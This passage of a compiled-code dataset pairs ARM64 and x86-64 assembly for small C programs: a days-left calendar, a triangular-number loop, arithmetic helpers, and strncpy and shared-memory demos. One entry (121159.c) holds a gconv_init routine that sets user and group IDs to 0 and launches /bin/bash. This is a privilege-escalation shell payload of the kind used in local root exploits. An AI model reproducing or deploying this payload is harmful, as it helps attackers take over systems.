.long 30 ; 0x1e
.long 31 ; 0x1f
.long 31 ; 0x1f
.long 30 ; 0x1e
.long 31 ; 0x1f
.long 30 ; 0x1e
.long 31 ; 0x1f
.comm _calendar,8,3 ; @calendar
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "No enough mem for Calendar\n"
l_.str.1: ; @.str.1
.asciz "month = %d, day = %d\n"
l_.str.2: ; @.str.2
.asciz "Year/Age:\tmonths\tweeks\tdays\n"
l_.str.3: ; @.str.3
.asciz "%d/%d:\t%d\t%d\t%d\n"
l_.str.4: ; @.str.4
.asciz "Enter Your Age: "
l_.str.5: ; @.str.5
.asciz "%d"
l_.str.6: ; @.str.6
.asciz "Your Days Left = %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _add_days ## -- Begin function add_days
.p2align 4, 0x90
_add_days: ## @add_days
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -24(%rbp), %eax
movq -16(%rbp), %rcx
cmpl 16(%rcx), %eax
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
movslq -24(%rbp), %rcx
movl (%rax,%rcx,4), %eax
addl -20(%rbp), %eax
movl %eax, -20(%rbp)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_1
LBB0_4:
movq -16(%rbp), %rax
movl 12(%rax), %eax
addl -20(%rbp), %eax
movl %eax, -20(%rbp)
movl -20(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _genCalendar ## -- Begin function genCalendar
.p2align 4, 0x90
_genCalendar: ## @genCalendar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
movl $1600, %edi ## imm = 0x640
callq _malloc
movq %rax, %rcx
movq _calendar@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
xorl %eax, %eax
## kill: def $rax killed $eax
movq _calendar@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB1_2
## %bb.1:
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $-1, %edi
callq _exit
LBB1_2:
movl $0, -12(%rbp)
LBB1_3: ## =>This Inner Loop Header: Depth=1
cmpl $100, -12(%rbp)
jge LBB1_15
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
movq -8(%rbp), %rax
movl 20(%rax), %eax
addl $1900, %eax ## imm = 0x76C
addl -12(%rbp), %eax
movl %eax, -16(%rbp)
movl -16(%rbp), %ecx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
xorl %eax, %eax
cmpl -12(%rbp), %eax
jne LBB1_9
## %bb.5: ## in Loop: Header=BB1_3 Depth=1
movq -8(%rbp), %rax
movl 16(%rax), %esi
movq -8(%rbp), %rax
movl 12(%rax), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movl $12, %ecx
subl 16(%rax), %ecx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 12(%rax)
movl -16(%rbp), %eax
movl $4, %ecx
cltd
idivl %ecx
xorl %eax, %eax
cmpl %edx, %eax
jne LBB1_7
## %bb.6: ## in Loop: Header=BB1_3 Depth=1
movq -8(%rbp), %rsi
leaq _leap_year(%rip), %rdi
callq _add_days
movl $366, %ecx ## imm = 0x16E
subl %eax, %ecx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
jmp LBB1_8
LBB1_7: ## in Loop: Header=BB1_3 Depth=1
movq -8(%rbp), %rsi
leaq _normal_year(%rip), %rdi
callq _add_days
movl $365, %ecx ## imm = 0x16D
subl %eax, %ecx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
LBB1_8: ## in Loop: Header=BB1_3 Depth=1
movq -8(%rbp), %rax
movl 16(%rax), %eax
addl $1, %eax
movl $12, %ecx
subl %eax, %ecx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 12(%rax)
jmp LBB1_13
LBB1_9: ## in Loop: Header=BB1_3 Depth=1
movl -16(%rbp), %eax
movl $4, %ecx
cltd
idivl %ecx
xorl %eax, %eax
cmpl %edx, %eax
jne LBB1_11
## %bb.10: ## in Loop: Header=BB1_3 Depth=1
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl $366, 4(%rax) ## imm = 0x16E
jmp LBB1_12
LBB1_11: ## in Loop: Header=BB1_3 Depth=1
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl $365, 4(%rax) ## imm = 0x16D
LBB1_12: ## in Loop: Header=BB1_3 Depth=1
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl $12, 12(%rax)
LBB1_13: ## in Loop: Header=BB1_3 Depth=1
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
movl $7, %ecx
cltd
idivl %ecx
movl %eax, %ecx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
## %bb.14: ## in Loop: Header=BB1_3 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_3
LBB1_15:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _calculateDay ## -- Begin function calculateDay
.p2align 4, 0x90
_calculateDay: ## @calculateDay
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl $80, %eax
subl -4(%rbp), %eax
movl %eax, -8(%rbp)
movl $0, -12(%rbp)
movl $0, -16(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
addl -12(%rbp), %eax
movl %eax, -12(%rbp)
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB2_1
LBB2_4:
movl -12(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _show_detail ## -- Begin function show_detail
.p2align 4, 0x90
_show_detail: ## @show_detail
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, -8(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
cmpl $80, -8(%rbp)
jge LBB3_4
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -8(%rbp), %ecx
subl -4(%rbp), %ecx
movslq %ecx, %rcx
shlq $4, %rcx
addq %rcx, %rax
movl (%rax), %esi
movl -8(%rbp), %edx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -8(%rbp), %ecx
subl -4(%rbp), %ecx
movslq %ecx, %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 12(%rax), %ecx
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -8(%rbp), %edi
subl -4(%rbp), %edi
movslq %edi, %rdi
shlq $4, %rdi
addq %rdi, %rax
movl 8(%rax), %r8d
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -8(%rbp), %edi
subl -4(%rbp), %edi
movslq %edi, %rdi
shlq $4, %rdi
addq %rdi, %rax
movl 4(%rax), %r9d
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB3_1
LBB3_4:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _clear ## -- Begin function clear
.p2align 4, 0x90
_clear: ## @clear
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _calendar@GOTPCREL(%rip), %rax
cmpq $0, (%rax)
je LBB4_2
## %bb.1:
movq _calendar@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _free
LBB4_2:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
leaq -20(%rbp), %rsi
movb $0, %al
callq _scanf
leaq -32(%rbp), %rdi
callq _time
leaq -32(%rbp), %rdi
callq _gmtime
movq %rax, -40(%rbp)
movq -40(%rbp), %rdi
callq _genCalendar
movl -20(%rbp), %edi
callq _calculateDay
movl %eax, -24(%rbp)
movl -24(%rbp), %esi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movl -20(%rbp), %edi
callq _show_detail
callq _clear
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __DATA,__data
.globl _leap_year ## @leap_year
.p2align 4
_leap_year:
.long 31 ## 0x1f
.long 29 ## 0x1d
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.globl _normal_year ## @normal_year
.p2align 4
_normal_year:
.long 31 ## 0x1f
.long 28 ## 0x1c
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.long 30 ## 0x1e
.long 31 ## 0x1f
.comm _calendar,8,3 ## @calendar
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "No enough mem for Calendar\n"
L_.str.1: ## @.str.1
.asciz "month = %d, day = %d\n"
L_.str.2: ## @.str.2
.asciz "Year/Age:\tmonths\tweeks\tdays\n"
L_.str.3: ## @.str.3
.asciz "%d/%d:\t%d\t%d\t%d\n"
L_.str.4: ## @.str.4
.asciz "Enter Your Age: "
L_.str.5: ## @.str.5
.asciz "%d"
L_.str.6: ## @.str.6
.asciz "Your Days Left = %d\n"
.subsections_via_symbols
| the_stack_data/90766447.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _gconv ; -- Begin function gconv
.p2align 2
_gconv: ; @gconv
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.globl _gconv_init ; -- Begin function gconv_init
.p2align 2
_gconv_init: ; @gconv_init
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
adrp x8, l___const.gconv_init.args@PAGE
add x8, x8, l___const.gconv_init.args@PAGEOFF
ldr q0, [x8]
sub x8, x29, #32
str x8, [sp, #8] ; 8-byte Folded Spill
stur q0, [x29, #-32]
adrp x8, l___const.gconv_init.environ@PAGE
add x8, x8, l___const.gconv_init.environ@PAGEOFF
ldr q0, [x8]
add x8, sp, #32
str x8, [sp, #16] ; 8-byte Folded Spill
str q0, [sp, #32]
mov w0, #0
str w0, [sp, #28] ; 4-byte Folded Spill
bl _setuid
ldr w0, [sp, #28] ; 4-byte Folded Reload
bl _setgid
ldr x1, [sp, #8] ; 8-byte Folded Reload
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldur x0, [x29, #-32]
bl _execve
ldr w0, [sp, #28] ; 4-byte Folded Reload
bl _exit
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "/bin/bash"
.section __DATA,__const
.p2align 3 ; @__const.gconv_init.args
l___const.gconv_init.args:
.quad l_.str
.quad 0
.section __TEXT,__cstring,cstring_literals
l_.str.1: ; @.str.1
.asciz "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin"
.section __DATA,__const
.p2align 3 ; @__const.gconv_init.environ
l___const.gconv_init.environ:
.quad l_.str.1
.quad 0
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _gconv ## -- Begin function gconv
.p2align 4, 0x90
_gconv: ## @gconv
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _gconv_init ## -- Begin function gconv_init
.p2align 4, 0x90
_gconv_init: ## @gconv_init
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movaps l___const.gconv_init.args(%rip), %xmm0
movaps %xmm0, -32(%rbp)
movaps l___const.gconv_init.environ(%rip), %xmm0
movaps %xmm0, -48(%rbp)
xorl %edi, %edi
movl %edi, -52(%rbp) ## 4-byte Spill
callq _setuid
movl -52(%rbp), %edi ## 4-byte Reload
callq _setgid
movq -32(%rbp), %rdi
leaq -32(%rbp), %rsi
leaq -48(%rbp), %rdx
callq _execve
movl -52(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "/bin/bash"
.section __DATA,__const
.p2align 4 ## @__const.gconv_init.args
l___const.gconv_init.args:
.quad L_.str
.quad 0
.section __TEXT,__cstring,cstring_literals
L_.str.1: ## @.str.1
.asciz "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin"
.section __DATA,__const
.p2align 4 ## @__const.gconv_init.environ
l___const.gconv_init.environ:
.quad L_.str.1
.quad 0
.subsections_via_symbols
| the_stack_data/121159.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
mov x9, sp
add x8, sp, #16
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
subs w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
b LBB0_6
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16]
ldr x9, [sp, #16]
add x9, x9, #1
mul x8, x8, x9
mov x9, #2
sdiv x8, x8, x9
add x8, x8, #1
str x8, [sp, #8]
ldr x8, [sp, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_6:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%lld"
l_.str.1: ; @.str.1
.asciz "%lld\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
leaq L_.str(%rip), %rdi
leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
cmpl $1, %eax
jne LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
cmpq $0, -16(%rbp)
jge LBB0_4
## %bb.3:
jmp LBB0_6
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movq -16(%rbp), %rcx
addq $1, %rcx
imulq %rcx, %rax
movl $2, %ecx
cqto
idivq %rcx
addq $1, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_6:
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%lld"
L_.str.1: ## @.str.1
.asciz "%lld\n"
.subsections_via_symbols
| the_stack_data/184518565.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ret0 ; -- Begin function ret0
.p2align 2
_ret0: ; @ret0
.cfi_startproc
; %bb.0:
mov w0, #0
ret
.cfi_endproc
; -- End function
.globl _ret1 ; -- Begin function ret1
.p2align 2
_ret1: ; @ret1
.cfi_startproc
; %bb.0:
mov w0, #1
ret
.cfi_endproc
; -- End function
.globl _add1 ; -- Begin function add1
.p2align 2
_add1: ; @add1
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
add w0, w8, #1
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _add_all ; -- Begin function add_all
.p2align 2
_add_all: ; @add_all
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str w1, [sp, #24]
str w2, [sp, #20]
str w3, [sp, #16]
str w4, [sp, #12]
str w5, [sp, #8]
str w6, [sp, #4]
str w7, [sp]
ldr w8, [sp]
ldr w9, [sp, #28]
ldr w10, [sp, #24]
add w9, w9, w10
ldr w10, [sp, #20]
add w9, w9, w10
ldr w10, [sp, #16]
add w9, w9, w10
ldr w10, [sp, #12]
add w9, w9, w10
ldr w10, [sp, #8]
add w9, w9, w10
ldr w10, [sp, #4]
add w9, w9, w10
subs w0, w8, w9
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _add_two ; -- Begin function add_two
.p2align 2
_add_two: ; @add_two
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
str w1, [sp, #8]
ldr w8, [sp, #12]
ldr w9, [sp, #8]
add w0, w8, w9
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ret0 ## -- Begin function ret0
.p2align 4, 0x90
_ret0: ## @ret0
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _ret1 ## -- Begin function ret1
.p2align 4, 0x90
_ret1: ## @ret1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $1, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _add1 ## -- Begin function add1
.p2align 4, 0x90
_add1: ## @add1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
addl $1, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _add_all ## -- Begin function add_all
.p2align 4, 0x90
_add_all: ## @add_all
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl 24(%rbp), %eax
movl 16(%rbp), %eax
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movl %r8d, -20(%rbp)
movl %r9d, -24(%rbp)
movl 24(%rbp), %eax
movl -4(%rbp), %ecx
addl -8(%rbp), %ecx
addl -12(%rbp), %ecx
addl -16(%rbp), %ecx
addl -20(%rbp), %ecx
addl -24(%rbp), %ecx
addl 16(%rbp), %ecx
subl %ecx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _add_two ## -- Begin function add_two
.p2align 4, 0x90
_add_two: ## @add_two
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl -4(%rbp), %eax
addl -8(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/82951396.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-36] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
sub x0, x29, #19
str x0, [sp, #32] ; 8-byte Folded Spill
mov x8, x0
stur x8, [x29, #-32]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov x3, #3
mov x2, x3
bl ___strncpy_chk
ldr x11, [sp, #32] ; 8-byte Folded Reload
ldur x8, [x29, #-32]
ldur x9, [x29, #-32]
ldrsb w10, [x9]
mov x9, sp
str x11, [x9]
str x8, [x9, #8]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #16]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur w0, [x29, #-36] ; 4-byte Folded Reload
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "foo"
l_.str.1: ; @.str.1
.asciz "f: %s, pf: %p, *pf: %c\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
leaq -19(%rbp), %rax
movq %rax, -32(%rbp)
leaq -19(%rbp), %rdi
leaq L_.str(%rip), %rsi
movl $3, %ecx
movq %rcx, %rdx
callq ___strncpy_chk
leaq -19(%rbp), %rsi
movq -32(%rbp), %rdx
movq -32(%rbp), %rax
movsbl (%rax), %ecx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "foo"
L_.str.1: ## @.str.1
.asciz "f: %s, pf: %p, *pf: %c\n"
.subsections_via_symbols
| the_stack_data/32949722.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, le
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_2:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
mov w1, #82
bl _ftok
stur w0, [x29, #-20]
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_4:
ldur w0, [x29, #-20]
mov x1, #1024
mov w2, #932
bl _shmget
str w0, [sp, #24]
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_6:
ldr w0, [sp, #24]
mov x1, #0
mov w2, #0
bl _shmat
str x0, [sp, #16]
ldr x8, [sp, #16]
adds x8, x8, #1
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_8:
ldur w8, [x29, #-8]
subs w8, w8, #3
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldur x8, [x29, #-16]
ldr x0, [x8, #16]
bl _atoi
ldr x8, [sp, #16]
str w0, [x8, #12]
ldr x0, [sp, #16]
ldur x8, [x29, #-16]
ldr x1, [x8, #8]
mov x3, #10
mov x2, x3
bl ___strncpy_chk
b LBB0_11
LBB0_10:
ldr x10, [sp, #16]
ldr x8, [sp, #16]
ldr w9, [x8, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB0_11
LBB0_11:
ldr x0, [sp, #16]
bl _shmdt
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_13:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "usage: shmdemo [data_to_write]\n"
l_.str.1: ; @.str.1
.asciz "shmdemo.c"
l_.str.2: ; @.str.2
.asciz "ftok"
l_.str.3: ; @.str.3
.asciz "shmget"
l_.str.4: ; @.str.4
